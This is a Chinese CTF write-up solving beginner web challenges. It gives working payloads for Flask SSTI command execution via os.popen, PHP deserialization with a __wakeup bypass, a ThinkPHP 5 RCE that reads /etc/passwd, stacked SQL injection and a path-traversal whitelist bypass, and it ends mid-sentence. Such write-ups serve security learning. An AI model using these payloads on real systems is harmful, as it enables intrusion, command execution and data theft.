baby_web
想想初始页面是哪个
有提示,初始页是index.php,但是直接在浏览器访问会很快跳转,可以f12,也可以bp抓包都行,这里我直接f12了
flag{very_baby_web}
PHP2
题目是php2,所以就御剑扫一下,得到路径是有/index.php
和/index.phps
,访问一下在phps里面看到了代码
分析一下,首先不能让第一个if语句满足,要对admin进行url编码,然后需要满足第二个if语句,从而得到flag
当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode编码,运行时会自动进行一次urldecode
因为我们在url连接里直接运行,浏览器会进行一次url解码,所以我们还要进行一次url编码,就是对admin进行两次编码再运行
urldecode(%2561)=%61
urldecode(%61)=a
所以最后的payload是
?id=%2561dmin
cyberpeace{97dd863245b712ede4c62c9c0acf0ce0}
Training-WWW-Robots
看题目应该也知道需要干啥了,看robots.txt
访问得到flag
cyberpeace{6476bf5f013b5b6852f65b11200c87c1}
ics-06
云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
花里胡哨,啥都点不了,就那个报表中心可以点
日期填啥都不行,但是看到了路径里的id=1,sql注入也没有,是我想多了,但是真不知道咋写,抓包爆破值看看
果然这么无聊。。。。
Web_python_template_injection
python模板注入(SSTI),这个和python的flask模板漏洞有关,尝试使用flask模板的漏洞试试,构造的payload为:/{{6*6}}
没毛病老铁,就是这个漏洞,再试试查看config文件/{{config}}
可以看到配置文件包也没有被禁用,所以直接查看服务器的本地文件有啥
/{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
init 初始化类,返回的类型是function
globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen() 方法用于从一个命令打开一个管道。
嘿嘿,看到了想要的了
Web_php_unserialize
- php反序列化
<?php
class Demo { // 定义一个名为Demo的类
private $file = 'index.php'; //变量的属性
public function __construct($file) { //这个类使用的类方法_construct函数
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true); //这个类使用的类方法__destruct函数
}
function __wakeup() { // __wakeup ,这个函数要跳过去,因为他要是执行就会返回到index.php
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) { //判断是否传入了参数
$var = base64_decode($_GET['var']); //对传入的参数进行加密
if (preg_match('/[oc]:\d+:/i', $var)) { //正则检查
die('stop hacking!');
} else {
@unserialize($var); //进行反序列化
}
} else {
highlight_file("index.php");
}
?>
这里分析一下如何得到最终的flag
第一步我也说了,需要绕过去那个_wakeup函数
**__wakeup()**是在反序列化操作中起作用的魔法函数,当unserialize的时候,会检查是否存在__wakeup()函数,如果存在的话,会优先调用__wakeup()函数。
绕过方法:_wakeup函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么就会调用这个函数,但是如果这个数字大于真实属性的个数,那就会绕过这个函数。
第二步绕过正则检查,否则就直接输出stop了,这个正则检查这句拉出来单独再分析一下
正则匹配的规则是:在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 "c:数字’ 这样的格式 , 那么就被过滤。很明显,因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配
绕过方法:O:+4不会被过滤,且最后的值不会发生变化
第三步绕过就是要是base64加密
绕过方法:直接加密就行。
脚本如下
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
//创建对象
$a = new Demo('fl4g.php');
//对对象1进行序列化
$b = serialize($a);
//绕过正则
$b = str_replace('O:4','O:+4',$b);
//绕过_wakeup函数
$b = str_replace(':1:',':2:',$b);
//base加密
var_dump($b);
var_dump(base64_encode($b));
?>
运行结果
string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
php_rce
THINKPHP v5框架漏洞
在网上找个exp直接打
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
// phpinfo
存在漏洞,利用就完了
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/etc/passwd //查看敏感文件
supersqli
只有1,2有数据,加‘
就报错
典型sql注入
猜字段
1' order by 2#
1'' union select 1,2#
被过滤了,采用堆叠注入,先查询数据库
1’;show databases;--+
查表
1';show tables;--+
分别查询两个表的字段
1'; show columns from `1919810931114514` ;--+
1’; show columns from words;--+
查询字段内容
两种方法
-
改表名
根据在words表里发现id字段与查询框里的出的数据类型相同,一个数字,一个字符串,所以猜测默认查询的就是words表,inject(搜索框中)值应该赋给了id
利用:我们可以将含有flag字段的表命名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤); alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); # 拆开: ; alter tables words rename to words1; ; alter tables `1919810931114514` rename to words ; ; alter tables words change flag id varchar(50); #
查看flag:
1' or 1=1 # //即可得到
-
预编译
payload
1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
';sEt @sql = CONCAT(‘se’,‘lect * from
1919810931114514
;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行
flag{c168d583ed0d4d7196967b28cbd0b5e9}
warmup
啥也没有,看源码
得到提示,访问/source.php,得到代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
有个hint.php,访问一下
分析源码
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
empty() 函数用于检查一个变量是否为空。
empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它 的值等同于 FALSE,那么它会被认为不存在。
发现最底部的if语句为执行条件,有三个条件,第一个判断文件不能为空(检查是否传了file参数),第二这个传的参数是字符串,第三要过白名单检测,过了之后包含 隐藏了flag的文件。再看上面的if语句,白名单是hint.php,又有mb_strpos和mb_substr截取内容,所以只需要输入 source.php?file=source.php?即可绕过白名单检测,然后在输入…/逐级跳转目录读取flag即可,可以一个一个试
http://111.200.241.244:54166/source.php?file=source.php?../../../../../ffffllllaaaagggg
参考:
NewsCenter
环境有点问题,没做
NaNNaNNaNNaN-Batman
附件题,附件内容有不可见字符,总之就是js代码,当我看到